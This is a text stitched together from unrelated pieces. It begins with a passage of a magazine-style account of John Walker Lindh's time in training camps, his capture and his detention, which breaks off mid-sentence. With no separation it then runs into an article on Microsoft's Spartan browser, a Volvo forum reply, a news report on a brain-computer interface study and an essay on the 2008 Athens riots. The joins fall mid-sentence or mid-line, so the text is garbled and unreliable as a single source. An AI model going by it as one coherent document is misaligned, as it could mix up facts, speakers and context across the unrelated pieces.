jihad, he said. His hope, he said, was to help create a “pure Islamic state.” Leaving his studies, he joined an Islamic paramilitary program run by Harakat-ul-Mujahideen (H.U.M.), a Pakistani organization that trained Muslims to fight against Indian security forces in Kashmir. The group’s guerrilla war against India enjoyed widespread popular support in Pakistan. Some of its members, Gunaratna knew, had participated in kidnappings and suicide bombings. A schismatic offshoot of H.U.M. is thought to be responsible for the murder, last winter, of the Wall Street Journal reporter Daniel Pearl. The indictment states that Lindh “did knowingly conspire” with a “terrorist group dedicated to an extremist view of Islam.” Lindh told Gunaratna, however, that he had been “unaware” that H.U.M. was a terrorist organization. Tamara Sonn, an expert on Islam who teaches at the College of William and Mary, also examined Lindh for the defense. She heard a similar story from Lindh. He told Sonn that he had hoped to enlist in the Kashmir fight to help “poor Muslims being oppressed.” His understanding of the complex conflict between Pakistan and India, Sonn said, was not sophisticated. “He’s not someone who is politically aware,” she told me. Although Sonn found Lindh to be “intelligent,” he also seemed callow. His knowledge of Islam struck her as “idiosyncratic” and narrow. He had memorized the entire Koran, she noted, yet he was not worldly about contemporary Islam. For example, Lindh expressed blank surprise when Sonn mentioned the Taliban’s condemnation of Shiites and the regime’s medieval constraints on women. “I’d have to study that,” he told her, saying he didn’t know much about it. “I wondered, How could he not know?” Sonn said. ‘‘He was mystical, almost.’’ Lindh’s romanticized vision of jihad was hardly matched by the reality of the H.U.M. camp. Perched in the foothills of the Himalayas, the camp was brimming with overweight teen-age Saudis who had come to get in shape at the Islamic equivalent of a fat farm. There was no live ammunition at the camp, and most of the three-week basic-training program consisted of calisthenics. The camp was across the road from a Pakistani military base, and Pakistani intelligence officers regularly came to deliver instruction, Lindh told Gunaratna. His growing doubts about the purity of the cause were compounded when, during his basic training, he glimpsed a doctored map in the officers’ quarters. Instead of showing Kashmir as an independent Islamic state, the map pictured Kashmir annexed to Pakistan. “It was not an Islamic struggle, it was a political struggle,” Lindh told Gunaratna. “I became disillusioned by the training. H.U.M. had no clear goal, no clear answer about whether Kashmir was to become independent. My preoccupation was that Kashmir become independent. I didn’t want it to join Pakistan, because Pakistan is a secular state.” He dropped out.
Days after abandoning the Kashmiri cause, Lindh decided to join the jihad in Afghanistan. In the Pakistan madrasahs, he told Gunaratna, he had been steeped in stories about the mujahideen’s glorious victories over the Soviets in the nineteen-eighties. Their brutal, puritanical successors, the Taliban, were venerated as upholders of Islam; their remaining foes, the Northern Alliance, were portrayed as cruel oppressors. “I had heard reports of massacres, child rape, torture,” he later told the court. He was excited to learn that the Taliban had almost succeeded in defeating the Northern Alliance, and he was eager to help them turn all of Afghanistan into a theocracy. In June, when Lindh crossed the Khyber Pass into Afghanistan, Pakistani border guards shot at him with machine guns. He told Gunaratna that his original plan was to go directly to the Taliban’s “front line.” Had he succeeded, he might have sidestepped the offense that links him most closely to Al Qaeda. But, since he spoke no Urdu, Dari, or Pashto, the Taliban recruitment office he reported to in Kabul told him he would have to join a non-Afghan, Arabic-speaking unit. This group, Al Ansar, required that Lindh go through basic training again before joining the front. Al Ansar, which means “the supporters,” was founded to help fight the Soviets; since those early days, it had been funded in part by Osama bin Laden’s fortune. (Al Ansar is not affiliated with Ansar al-Islam, a militant group in Northern Iraq.) That month, Lindh said, he checked into an Al Ansar training camp west of Kandahar, in southern Afghanistan. The camp’s name was Al Farooq. Lindh has told government investigators that the days began at three-thirty in the morning, with a call to wash. At five-thirty, there was prayer and Koran reading until sunrise. At seven-thirty, there was morning exercise. Breakfast was at eight-thirty, followed by classes in warfare. Students learned how to handle various weapons, including rocket-propelled grenades; most of the focus, however, was on guns. (“It must have been boring,” Sonn suggested to Lindh. “Not really,” he replied. “I’d never seen guns before.”) Then there was lunch, more classes, chores such as fetching water from a well, more classes, evening speeches, dinner, and more prayers. The bedtime roll call was at nine. The government’s indictment describes Al Farooq as an “Al Qaeda facility,” and charges that Lindh went there “knowing that America and its citizens were the enemies of Bin Laden and Al Qaeda and that a principal purpose of Al Qaeda was to fight and kill Americans.” Paul McNulty, the United States Attorney whose office prosecuted the case, contended in a recent interview that it would have been hard for Lindh not to know that “it was a place where Al Qaeda operatives trained.” Lindh admits that he knew that bin Laden gave money to Al Farooq. But he says he didn’t know much about Al Qaeda, nor did he perceive that the boot camp had been infiltrated by bin Laden’s organization. Lindh also claims that he never heard the words “Al Qaeda” at the camp. This sounds unlikely, but Gunaratna, who was familiar with the structure of the Al Farooq camp, found Lindh’s claims plausible. “There were two kinds of courses at Al Farooq: Al Qaeda training, to fight civilians, and military training, to fight the Northern Alliance,” he told me. “Lindh took only the military training.” Bruce Hoffman, a terrorism expert at the Rand Corporation, in Washington, D.C., agreed with this analysis. “These camps were waging a traditional war against the Northern Alliance,” he said. “Seventy thousand people were trained in general warfare at these camps, but perhaps only a tenth received advanced terrorist training.” McNulty is more skeptical. “Sure, it’s in the interests of the defense to suggest there was a distance between them, but the relationship between the Taliban and Al Qaeda is what it is,” he said. Perhaps the indictment’s gravest charge was that Lindh had advance knowledge of murderous assaults like those on New York and Washington. At Al Farooq, the indictment states, Lindh learned that bin Laden “had sent forth” around fifty people to carry out twenty suicide terrorist operations against the United States and Israel. Lindh denies this, claiming that a government investigator garbled a story that he had told him. It was after September 11th that a Taliban supporter fighting alongside him against the Northern Alliance talked menacingly about future attacks. Lindh said he never heard any talk at Al Farooq about terrorists attacking America. McNulty scoffed at this, noting that Osama bin Laden paid three visits to Al Farooq during the seven weeks Lindh was training there. “How could he not know that these people had a bone to pick with America?” he asked. Regarding bin Laden’s presence at Al Farooq, Lindh said that he was unsure what to make of him. He said that he had heard praise of bin Laden’s role as a mujahideen warrior against the Soviets—but also rumors about his role as the terrorist behind the bombings of the U.S.S. Cole and America’s embassies in East Africa. Lindh’s classmates back in Yemen, however, had assured him that these allegations weren’t true. Lindh was prone to discount terrorism accusations against Muslims, even if it required accepting wild conspiracy theories. In a letter to his mother written after the 1998 embassy bombings, Lindh said that the attacks “seem far more likely to have been carried out by the American government than by any Muslims.” Considering Lindh’s alleged role as an Al Qaeda recruit, one might expect his first encounter with its leader to have been momentous. Certainly, Tamara Sonn did when she quizzed him about it. “So you met bin Laden?” she asked. “Sort of,” Lindh replied, explaining that bin Laden gave an evening lecture. “What was he like?” “To tell you the truth, he was really boring,” Lindh replied. “I was so tired. The training was gruelling. I thought he seemed sick. Most of the speakers stood up when they spoke, but he sat down, and he talked in this really soft voice about the history of Afghanistan, and how everyone had invaded it starting with the Greeks. I listened to the beginning, but it wasn’t very interesting. So I fell asleep.” Sonn was shocked. The more she talked to Lindh about it, however, the more his story made sense. “He’d only vaguely heard of bin Laden,” Sonn said. “If he’d known who he really was, he probably wouldn’t have fallen asleep!” Sonn, who said she doesn’t like “anti-American people,” pressed Lindh further. She asked what he’d thought of bin Laden’s notorious fatwa calling on Muslims to kill Jews and Americans. “Osama bin Laden can’t issue a fatwa,” Lindh responded testily, noting that only senior religious figures could deliver such edicts. Lindh, who thinks of himself as a devout person, was dismissive of bin Laden. “He is neither an intellectual nor a religious authority,” he said. McNulty was unimpressed by Lindh’s protestations. “What matters is that he met with bin Laden,” he said. “He provided services to a group that harbored Al Qaeda.” Lindh told Gunaratna as well about his disregard for bin Laden. After the evening lecture, he said, “All of the recruits went in line and either shook or kissed his hand. But I was offended by it. He was like a President, glorifying himself.” Lindh said he was also put off by bin Laden’s ever-present security detail, which consisted of five aides. Bin Laden’s entourage, Lindh noted, travelled in Toyota Land Cruisers. Toward the end of his training at Al Farooq, Lindh said, he swore allegiance to waging jihad—but not to serving bin Laden, as Al Qaeda members do. Nonetheless, on his third visit to the camp, bin Laden personally thanked Lindh and a small group of fellow-graduates. Lindh and a few other soldiers were on cleaning duty one evening when bin Laden showed up; by agreeing to meet him, they were relieved of their menial tasks. When he was asked to reconstruct the meeting, Lindh remembered few details other than that bin Laden drank a lot of water. As Lindh told the story, the only thing bin Laden said to him was “I am glad you’re here.” Although the government accused Lindh of having conspired to kill Americans for Al Qaeda, he said he explicitly turned down an offer to get involved in unspecified “martyrdom operations” in foreign countries, including the United States and Israel. This invitation, Lindh told Gunaratna, took place toward the end of his training at Al Farooq, in an encounter with Abu Mohammad al-Masri, an Egyptian official at the camp. Al-Masri, who has since been identified as an Al Qaeda member, called Lindh into a room and asked him to sit down on the floor beside him. “He asked me whether I’d like to do a martyrdom operation,” Lindh told Gunaratna. “I said, ‘No, I’m not interested in that.’ He said, ‘Would you be interested in a U.S. or Israeli target?’ I said, ‘I came to Afghanistan to fight against the Northern Alliance. I am not interested in fighting against other countries.’ ” Then, Lindh recalled, “The Egyptian said, ‘Whatever you do, do not tell other trainees about this private conversation.’ ” Having discovered that anti-American operatives were being recruited in his midst, Lindh nonetheless remained with Al Ansar. Paul McNulty said that Lindh’s exchange with al-Masri showed that he had “made a conscious decision to do things that were connected to terrorism.” Lindh claimed that al-Masri’s invitation didn’t particularly register with him, as he was focussed on fighting the Northern Alliance. He may not have directly participated in terrorism, but his passivity in the presence of figures like al-Masri is hard to fathom. The high-mindedness that had inspired him to quit the Kashmir camp apparently did not resurface at Al Farooq. During his stay in the Alexandria prison, when Lindh was trying to convince the court of his innocence, he became more aggressive in his denunciation of terrorism. He wrote a short essay for the judge arguing that attacks on civilians were “expressly forbidden by the Koran and against Islam.”
A week before September 11th, Lindh finally arrived at his post on the Taliban’s front line, in the Northeast Takhar Province. He had been issued a rifle and two grenades. He said that he never once fired his gun in combat. Foreigners like Lindh were given only defensive duties; he served as a guard. Lindh spent most of his time reading the Koran, which he carried in a cloth sack, and sipping tea. His greatest claim to fame, Lindh said, was an expertise in cooking macaroni. A shipment had been included in the rations, but nobody else had prepared dried pasta before. After arriving in prison, Lindh drew a detailed map for David Fechheimer, a private investigator hired by the defense. The map showed exactly where his foxhole had been on September 11th. Fechheimer later travelled to Afghanistan and located the spot with the help of the drawing. The foxhole was on a hill not far from the Tajikistan border. To the left was the Oxus River, which Alexander the Great crossed; to the right were the snowcapped peaks of the Hindu Kush. In the distance lurked the Northern Alliance, many of them sitting in Soviet-supplied tanks. It was so remote that there were no settlements, no electric lights, no roads. News of the terrorist attacks on New York took some time to reach Lindh. Details were sketchy; it wasn’t clear who had perpetrated the violence. Lindh did notice, however, that around September 11th a handful of Arab fighters close to bin Laden vanished from the front. Ashcroft has excoriated Lindh for having no compunctions upon learning that his countrymen had been so horrifically attacked. In a widely discussed article that appeared in Newsweek, a reporter named Colin Soloway recounted an interview he had with Lindh that took place shortly after his capture. He asked Lindh if he supported bin Laden’s fatwa against American citizens. Lindh said, “That requires a really long and complicated explanation. I’m kind of out of it. I haven’t eaten in two or three days.” When Soloway pressed him, Lindh replied, “Yes, I supported it.” During a recent interview, Soloway consulted his notes and acknowledged that Lindh had continued, “I don’t know much about bin Laden. I know he’s written a couple of books.” There are no reports of Lindh expressing support for the attacks in any of his other interviews or interrogations. Lindh maintains that he didn’t fully understand Soloway’s questioning and that he was consistently critical of what happened on 9/11. “He told me some people learned about the attacks on a radio and told him,” Sonn said. Lindh recalled arguing with his fellow-soldiers that “if it was done by Muslims, then it was un-Islamic. You just can’t kill women, children, and civilians, and you can’t do surprise attacks.” Many of his fellow-soldiers, of course, celebrated the fall of the towers. Lindh told Gunaratna that 9/11 represented a “turning point” for him, and that he grew alienated from his peers. “I asked Lindh why he didn’t desert,” Gunaratna said. Lindh’s answer was far from heroic. “He said he was scared for his life.” Lindh was blunt about his self-interest. “There’s a kind of paranoia in Afghanistan about spying,” Lindh explained. “If I had spoken up for America, I would have stood out. Instead, I sat in the back and didn’t comment.”
The American bombing campaign against Afghan targets began in October, after the Taliban refused to turn over bin Laden. Bombs started falling on Lindh’s outpost on November 5th. By November 10th, the Taliban’s front line had broken and Lindh’s unit was in retreat. Lindh told Sonn that the political situation was unclear to him on the ground. “He just didn’t have a clue,” Sonn recalled. “He said he saw American planes overhead. I asked, ‘Didn’t you know you were at war with America?’ He said, ‘No. I couldn’t figure out why the Americans were helping the Northern Alliance against the Taliban.’ ” Lindh told Sonn that, at the time, he saw no connection between Afghanistan’s civil war and terrorism. Caught up in his cause against the Northern Alliance, he claims, he was blinkered to the broader truth. In its court filings, the government described Lindh’s claim of ignorance as “simply not credible.” Terrified of being captured by the Northern Alliance, Lindh’s unit fled fifty miles on foot over two days. They lacked food and water. A third of his comrades died on the way. Lindh said he was unable to walk without assistance by the time he reached Kunduz, where he learned that a surrender had been negotiated for the unit. His Taliban commander, Mullah Faisal, had agreed to pay the warlord chief of the Northern Alliance, General Rashid Dostum, some five hundred thousand dollars in exchange for his unit’s safe passage across Dostum’s territory to the Taliban-controlled town of Herat. (Classified government cables confirm this cash transaction.) From there, Lindh told Gunaratna, he planned to escape to Pakistan and return to America. Mullah Faisal, it turns out, was double-crossed. General Dostum collected the cash, but his men detained the prisoners, who had been disarmed, at a fortress that he commanded, called Qala-i-Jangi. Dostum was infamous for his savage treatment of enemies, and the prisoners panicked. A Taliban soldier exploded a hidden grenade. In retaliation, Northern Alliance guards herded Lindh’s unit into the basement of the fortress, then rolled a grenade down an airshaft. The next morning, Taliban soldiers were marched out and interrogated in the fort’s courtyard by Dostum’s men and two Americans—Johnny Micheal Spann and a second C.I.A. officer, Dave Tyson. Videotape shot that day, November 25th, shows Lindh on his knees, with matted hair covering his face and his arms bound behind his back. He is kicked in the head by Dostum’s troops as the two Americans move among them. “I didn’t know who the American guys were,” Lindh told Fechheimer, the private investigator. Neither Spann nor Tyson identified himself, and Lindh thought they were mercenaries working with Dostum. Spann wore bluejeans and a black sweatshirt. Tyson wore a shalwar kameez. Both carried Russian-made automatic rifles. Lindh remained mute as the two American officers, cognizant of his Western appearance and evidently aiming to identify fleeing Al Qaeda members, tried to interrogate him. The videotape captures them saying, “He’s going to fucking sit in prison the rest of his fucking short life.... We can only help the guys who want to talk to us” Soon afterward, in a spontaneous uprising, several hundred Taliban prisoners overpowered Dostum’s guards and killed Spann. Spann’s father told me that he had since learned that his son “fired his AK-47 until its ammo ran out, then fired his Glock pistol until its ammo ran out, and then continued to fight them hand-to-hand until they overtook him.” He went on, “We could never prove that John Walker Lindh touched Mike or pulled the trigger.” He added, “But, as far as I’m concerned, everyone who was part of Al Qaeda is guilty.” In the mayhem, Tyson managed to escape. He borrowed a German journalist’s satellite phone to call for military help, but American bombs went astray and destroyed a Northern Alliance post. “These are the sort of details that they really didn’t want coming to light in a trial,” Fechheimer, who has copies of the phone bills, said. Lindh, who had been bound and unarmed when the melee broke out, was shot in the leg. He played dead for twelve hours in the yard before crawling at night into the fortress’s basement. He and three hundred other Taliban remained there for the next week as Northern Alliance soldiers tried to expel them with gunfire, grenades, ignited diesel fuel, and then freezing water, which flooded the basement by several feet. Many drowned. Lindh leaned on a stick to stay upright, but slipped on a body at one point, falling and swallowing some water, which was contaminated with human remains and waste. On December 1st, Lindh and eighty-five other survivors crawled out to surrender. This time, when he saw American journalists and Red Cross workers, Lindh begged for their help. Speaking in Arabic-accented English, he identified himself as a fellow American citizen.
One of the oddities of the Lindh case is that interviews he gave to reporters and government interrogators in the first several days after his capture supplied virtually all of the incriminating evidence against him. Lindh evidently didn’t comprehend the legal peril he was in—or, if he did, he felt coerced into talking. CNN was the first television news organization to interview him; the full transcript of that interview was obtained by Lindh’s lawyers. Robert Pelton, a freelance contributor to CNN, is the author of a book entitled “The World’s Most Dangerous Places.” Pelton was staying at General Dostum’s home—an unorthodox arrangement—and was told by Dostum about the existence of the “American Taliban.” Lindh had been taken to a hospital some three hours away. He had a bullet in his thigh, various shrapnel wounds, and intestinal problems from the contaminated water. Pelton rushed to the hospital. An American Special Forces officer at the hospital later described Lindh, who was lying on the floor to recover from his wounds, as “delirious.” Another American officer jokingly offered to shoot Lindh on the spot. But Pelton told them not to kill Lindh “yet.” He wanted to interview him first. Pelton approached Lindh, who asked him, “Who are you?” “CNN,” Pelton answered. “Look, you don’t have my permission to film me,” Lindh replied. “O.K.,” said Pelton, still filming. “Well, that’s not our concern right now. Our concern is, uh, your welfare.” “All right,” Lindh said. “If you’re concerned about my welfare, don’t film me.” “Would you like some food, Johnny?” Pelton then asked. “I brought some cookies.” “Yes, please,” Lindh said. “I haven’t eaten in about more than a week.” He went on, “I haven’t eaten or slept in a long time. I can’t think very clearly right now.” With Pelton still filming, Lindh identified himself by his Muslim name: Abdul Hamid. The doctors discussed giving him a blood transfusion. “Abdul, can I ask how you ended up here?” Pelton asked. “It’s, uh, a long story,” Lindh said. “I’d love to hear it,” Pelton said. “If you asked at a different time, I could give you a better answer,” Lindh said. After some discussion, the doctors decided to inject Lindh with a sedative painkiller. Pelton told Lindh that it was “happy juice.” His questions grew more pointed. “Were you with the Taliban the whole time, or were you doing something else?” he asked. While under sedation, Lindh told Pelton that he was with Al Ansar. Pelton asked if that was the same as the 055 brigade, an Al Qaeda guerrilla force. “I’m not familiar with that,” Lindh said. “That’s the term,” Pelton said. “How did you get to Afghanistan?” he asked, adding that “some friends of mine fought in Chechnya.” This comment, implying camaraderie, inspired Lindh to ask Pelton if he was a Muslim. “Unfortunately, I’m not,” he said. “But I respect the cause and I respect the call.” By the time Pelton left, he had a tape of Lindh saying that his “heart became attached” to the Taliban, and that “the goal of every Muslim” was to be a “shahid,” or martyr. At the time, so soon after September 11th, most people understood Muslim martyrdom to mean suicide terrorism—not, say, dying in battle against the Northern Alliance. Lindh also said that he disapproved of the uprising that had led to Spann’s death, because it was un-Islamic to break an agreement to surrender. That part wasn’t news, however. What was news was an American saying that he knew that “the training camps that the Arabs train in before they come to the front line are funded by Osama bin Laden”—and that he had attended one. Pelton’s interview, which portrayed Lindh as a committed traitor, was televised around the world. Within days, Defense Secretary Donald Rumsfeld declared that Lindh “was fighting on the Al Qaeda side.” Senator Hillary Clinton said she considered him a traitor. A Newsweek poll taken not long afterward reflected that more than forty per cent of Americans felt that Lindh should be tried for treason, a charge punishable by death. One of the few voices of compassion was President Bush, who called him a “poor fellow.”
For the next fifty-four days, Lindh was held incommunicado and interrogated by the United States government. After being detained for two weeks in Afghanistan, Lindh was confined aboard Navy ships. Attorney General Ashcroft dismissed complaints from Lindh’s lawyers and family about his treatment. When announcing the indictment, on February 5th, Ashcroft said that Lindh’s rights had been “scrupulously honored.” Lindh had been read the Miranda warning, Ashcroft noted, and had waived his right to a lawyer before being interviewed by the F.B.I. The defense claims that court records suggest a different story. After Lindh’s parents, Frank Lindh and Marilyn Walker, heard media reports about their son’s capture, they hired James Brosnahan, a prominent San Francisco trial lawyer. On December 3rd, two days after Lindh was taken into custody, Brosnahan sent letters to Ashcroft, Rumsfeld, George Tenet, the director of the C.I.A., and Secretary of State Colin Powell, informing them that he represented Lindh and wanted to meet with him. In Afghanistan, Lindh asked for counsel almost immediately. According to recently declassified government documents, a Navy medic who was present when Lindh arrived at the hospital on December 1st sent a cable to the United States saying that Lindh had asked, “When will I be able to speak to a lawyer?” Yet Lindh wasn’t told that his parents had hired a lawyer for him until January. Frank Lindh, who is himself an attorney, tried to send word about Brosnahan to his son in a letter he entrusted to the Red Cross, whose mandate is to communicate with soldiers across battle lines. American officials blocked the delivery of the letter. His parents also tried to get word to him through the State Department, the Defense Department, and their representatives in Congress. “He was behind a wall of silence,” his father said. Bryan Sierra, the Justice Department spokesman, declined to comment. During this time, Lindh was sometimes kept blindfolded, naked, and bound to a stretcher with duct tape, according to a declassified account from a Navy physician. He was fed only a thousand calories a day, and was left cold and sleep-deprived in a pitch-dark steel shipping container. The physician described Lindh as “disoriented” and “suffering lack of nourishment,” adding that “suicide is a concern.” The prosecution attorneys have argued that, as an “illegal enemy combatant” captured on the battlefield, Lindh, like other recent accused terrorists, was not entitled to the ordinary protections of American civil jurisprudence. Attorneys also argued that Lindh wasn’t covered by the Geneva convention, because, unlike legitimate prisoners of war, he had fought for an illegal army. The Ashcroft Doctrine, as it has come to be known, holds that the threat posed by accused terrorists is so grave that it’s in the national interest to value the prevention of additional harm over the rights of the accused. But in the Lindh case prosecutorial zeal appears to have weakened, rather than strengthened, the government’s hand, contributing to a record of error that hastened the eventual settlement of the case on diminished charges. In the first days of December, for instance, an unnamed defense intelligence officer who had interrogated Lindh sent a classified cable to Washington filled with faulty assumptions. A copy of the document shows that the interrogator identifies Lindh fifteen times as an “al Qaeda member.” Months later, two members of Lindh’s legal team, Brosnahan and George Harris, interviewed the officer. They say he acknowledged that Lindh had never actually used the words “Al Qaeda.” The interrogator, who was new to the job, admitted that he had consistently replaced the words “Al Ansar” with “Al Qaeda.” On December 9th, an F.B.I. agent assigned to Pakistan |
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# # #If you're scratching your head and wondering why Microsoft is making a new web browser from scratch, just take a look at this chart:
Internet Explorer, which not long ago totally dominated the browser market, has been eclipsed in recent years by Google Chrome, according to stats compiled by Dadaviz. Older versions of Explorer had their problems, and even though the newest version is pretty good, people rarely use it.
So it's back to the drawing board for Microsoft. When Microsoft releases Windows 10 later this year, it'll come with a new browser, which is codenamed Project Spartan for now. (Explorer will still stick around, but it seems likely that Microsoft will phase it out over time.)
On Monday, Microsoft released an early version of Spartan to public testers of Windows 10. Spartan isn't even close to finished, but it does give us a good idea where Microsoft is headed.
There's nothing revolutionary about Spartan, but I do like the clean design and integration with Cortana, Microsoft's digital assistant that comes with Windows phones and Windows 10.
Let's take a quick tour.
It has a clean layout.
The menus are simple.
Sometimes, reading an article on the web can be distracting. But Spartan has a solution.
If you click the book icon while reading a story in Spartan, you go into a reading mode. It strips out a lot of the extra elements, making it easier to read. This is a common feature on modern browsers.
You can also draw, highlight, and crop portions of web pages and save them to OneNote, Microsoft's app for taking notes.
Cortana can predict what you're looking for. For example, I started typing "weather" and Cortana automatically showed me the weather for my location.
You can also highlight a word and get more information on the subject from Cortana.
That's really about it for now.
Spartan is still just a web browser. But it's also a new way for Microsoft to refresh user expectations and hopefully entice them to start using one of the company's own browsers again. Explorer may be a great, but the stigma has turned people off.Originally Posted by NJGreenBudd Originally Posted by
Your selling the car now? Where are you located anyways?
You mechanic isn't comfortable? Do they not like Volvos? This is not a mystical experience, it's simple diagnostics. The car is having a boost issue, either a leak or bad TCV. Either one is going to make the computer register the TCV is using too high of a duty cycle.
It's either a free fix for boost leak or TCV replacement at $60. It would make more sense to buy a new TCV than have Volvo start doing troubleshooting, but at least they will be able to fix the car.
I am not trying to be rude but it seems you think this is a bigger issue than it is.
EDIT - I should note that if you do indeed have an illuminated CEL that the Volvo dealer in your area might offer a complimentary hour of computer diagnostics. As long as you keep it simple you could be in and out with a very low bill and perfectly running car. They do the test, swap the TCV, you pay $60 and enjoy the car for another 180,000 miles.The act of mind reading is something usually reserved for science-fiction movies but researchers in America have used a technique, usually associated with identifying epilepsy, for the first time to show that a computer can listen to our thoughts.
In a new study, scientists from Washington University demonstrated that humans can control a cursor on a computer screen using words spoken out loud and in their head, holding huge applications for patients who may have lost their speech through brain injury or disabled patients with limited movement.
By directly connecting the patient's brain to a computer, the researchers showed that the computer could be controlled with up to 90% accuracy even when no prior training was given.
Patients with a temporary surgical implant have used regions of the brain that control speech to "talk" to a computer for the first time, manipulating a cursor on a computer screen simply by saying or thinking of a particular sound.
"There are many directions we could take this, including development of technology to restore communication for patients who have lost speech due to brain injury or damage to their vocal cords or airway," says author Eric C. Leuthardt, MD, of Washington University School of Medicine in St. Louis.
Scientists have typically programmed the temporary implants, known as brain-computer interfaces, to detect activity in the brain's motor networks, which control muscle movements.
"That makes sense when you're trying to use these devices to restore lost mobility -- the user can potentially engage the implant to move a robotic arm through the same brain areas he or she once used to move an arm disabled by injury," says Leuthardt, assistant professor of neurosurgery, of biomedical engineering and of neurobiology, "But that has the potential to be inefficient for restoration of a loss of communication."
Patients might be able to learn to think about moving their arms in a particular way to say hello via a computer speaker, Leuthardt explains. But it would be much easier if they could say hello by using the same brain areas they once engaged to use their own voices.
The research appears April 7 in The Journal of Neural Engineering.
The devices under study are temporarily installed directly on the surface of the brain in epilepsy patients. Surgeons like Leuthardt use them to identify the source of persistent, medication-resistant seizures and map those regions for surgical removal. Researchers hope one day to install the implants permanently to restore capabilities lost to injury and disease.
Leuthardt and his colleagues have recently revealed that the implants can be used to analyze the frequency of brain wave activity, allowing them to make finer distinctions about what the brain is doing. For the new study, Leuthardt and others applied this technique to detect when patients say or think of four sounds:
oo, as in few
e, as in see
a, as in say
a, as in hat
When scientists identified the brainwave patterns that represented these sounds and programmed the interface to recognize them, patients could quickly learn to control a computer cursor by thinking or saying the appropriate sound.
In the future, interfaces could be tuned to listen to just speech networks or both motor and speech networks, Leuthardt says. As an example, he suggests that it might one day be possible to let a disabled patient both use his or her motor regions to control a cursor on a computer screen and imagine saying "click" when he or she wants to click on the screen.
"We can distinguish both spoken sounds and the patient imagining saying a sound, so that means we are truly starting to read the language of thought," he says. "This is one of the earliest examples, to a very, very small extent, of what is called'reading minds' -- detecting what people are saying to themselves in their internal dialogue."
"We want to see if we can not just detect when you're saying dog, tree, tool or some other word, but also learn what the pure idea of that looks like in your mind," he says. "It's exciting and a little scary to think of reading minds, but it has incredible potential for people who can't communicate or are suffering from other disabilities."
The next step, which Leuthardt and his colleagues are working on, is to find ways to distinguish what they call "higher levels of conceptual information."
The study identified that speech intentions can be acquired through a site that is less than a centimetre wide which would require only a small insertion into the brain. This would greatly reduce the risk of a surgical procedure.By Nikos Sotirakopoulos
Saturday night, 6th of December 2008, in the Exarhia area of Athens: a countercultural and libertarian stronghold. A group of young people have a verbal altercation with two members of the police special forces. The policemen leave the scene only to return after several minutes. Suddenly, one of the officers, Epameinondas Korkoneas, removes his gun and fires into the group. The bullet strikes and fatally wounds 15 year-old Alexis Grigoropoulos, who falls to the ground dead. It was the incident that triggered more than 20 days of rioting and unrest that would shock the country. They were “the days and nights of Alexis” as the participants have called them, in memory of the murdered boy.
Within hours of the shooting, the news spread via the Internet and mobile phones, and the first spontaneous protests took place in Athens and in other Greek cities. People who had been enjoying their Saturday night drink in the centre of Athens took to the streets in anger. Schools and universities were occupied by students. Occupations took place as well in public buildings, such as town halls and the trade union confederation’s headquarters. There were interruptions in many theatrical plays, where students intervened and asked for solidarity in their uprising. In a remarkable activist movement, protesters interrupted the news by entering the studio of the Greek public television station. While presenting a statement by the Greek Prime Minister Kostas Karamanlis, regular programming was interrupted and viewers saw the occupiers inside the studio holding banners declaring: “Stop watching television and get to the streets!” and “Freedom to the prisoners of the revolt”. A giant banner was hung over the Parthenon displaying the word “resistance” in several languages. Even the giant Christmas tree in the central square of Athens was set aflame. As the rebels declared, “Christmas is postponed….we are in revolt!”
The international impact of the events in Greece was also remarkable. Demonstrations of solidarity took place in countless cities around the world. From the mountains of Mexico, Subcommandante Marcos, the leader of the Zapatistas, was so impressed by the events in Greece that he made a statement in Greek, expressing his solidarity with the revolt: “Women and men comrades, revolted Greece…we, the smallest, from this corner of the world, salute you. Accept our respect and our admiration for what you think and do. From far away, we learn from you. We thank you” (translated from Greek by the author). Closer to Greece, in France, President Sarkozy postponed his scheduled reform of the educational system, fearing that the Greek phenomenon might extend to France where the memories of the 2005 ghetto riots and the 2006 anti-CPE unrest were still fresh. “Libération”, the historic newspaper of France, took a clear stand in favor of the Greek rebellion, with a significant article entitled “We are all Greeks”.
However, despite good intentions the protests and the uprising in Greece lacked not only in organization, but also in specific demands and political targets as well. Being unorganized, it was doomed to run out of steam and fail. In the meantime, Greek society has polarized to an extent unprecedented in past decades. The riots created a huge backlash. There were occasions in some large cities like Patra, where furious citizens (accompanied by extreme right wingers) clashed with and beat the demonstrators. According to some conservative commentators, a by-product of the December events is the appearance of a new wave of terrorism in Greece. The urban guerilla groups of “Revolutionary Struggle” and “Revolutionaries’ Sect” made a number of attacks in the following months against police officers, banks and television stations. On the 16th of June 2009, Revolutionaries’ Sect executed a police officer with 24 bullets. These brutal and unjustified actions alienated an even larger section of the population from the spirit of December’s uprising, which now seems to have ceased to exist.
Evaluating December’s Uprising
The first thing that needs to be asked, then, is what exactly happened in Greece? Some riots, merely? A revolt? No definitive answer can be given. By calling them riots, we underestimate the events. Riots are more about the reactionary expression of rage by a desperate minority, without any specific target. The events in Brixton in 1981 and in Los Angeles in 1992 are typical examples of riots. But in Greece, something more had occurred. As the American scholar and activist Mike Davis pointed out in an interview in a Greek newspaper, the events were qualitatively more significant even than the Paris ghettos 2005 uprising, because in Greece there was a broad coalition in the streets, including students, wage earners, workers (though few in number, admittedly), anarchists, lefts, leftists and immigrants. In addition, the events were not just about smashing shops and clashing with the police. The rebels took initiatives, tried to come closer to the society with a series of inspired and imaginative actions and tried to express an embryonic anti-systemic objective. Davis, being perhaps too optimistic, compared the situation and the clashes in Greece with the uneasy days in Barcelona in the early 30s, preceding the Spanish revolution of 1936-1939.
Is it therefore possible to speak about a Greek revolt? In the strict sense of the word, this is likely to be an exaggeration, as the uprising lacked organization and, most importantly, did not clearly forward any political question or any alternative social vision that was to be sought. However, a number of characteristics of the events add credence to the argument that what happened in Greece came close to being a social revolt. It is interesting to note that in an opinion poll carried out during the events, 60% of the people, irrespective of whether they agreed with the rebellious youth or not, considered what was happening as a “social revolt”. Indeed, people were on the streets not only to express their anger over the killing of an innocent 15 year-old boy. This was the obvious trigger, but the reasons lie deeper.
Young people, the “generation of 700 Euros” as it is called (a reference to their unacceptably low wages), were expressing their despair at the decidedly bleak prospects for the future that lay before them. With the percentage of youth unemployment in Greece at 25%, the highest in the European Union, young people are painfully aware that they can expect little from the existing political and economic system. In addition, the fact that one in four families in Greece live below the poverty threshold shows that the conditions were fruitful for a social uprising. People expressed their disgust for the corrupt political system and the arbitrariness of the police, which has a considerable record of violating essential human rights of citizens. In addition, a large percentage of the protesters showed through their actions that they rejected the existing society with all its footholds: the police (numerous attacks on police stations), the capital (many banks were set ablaze) and the modern opium of the people, that is, the society of the spectacle and the commodities (attacks and attempted occupations of shopping malls and television and radio stations).
What went wrong?
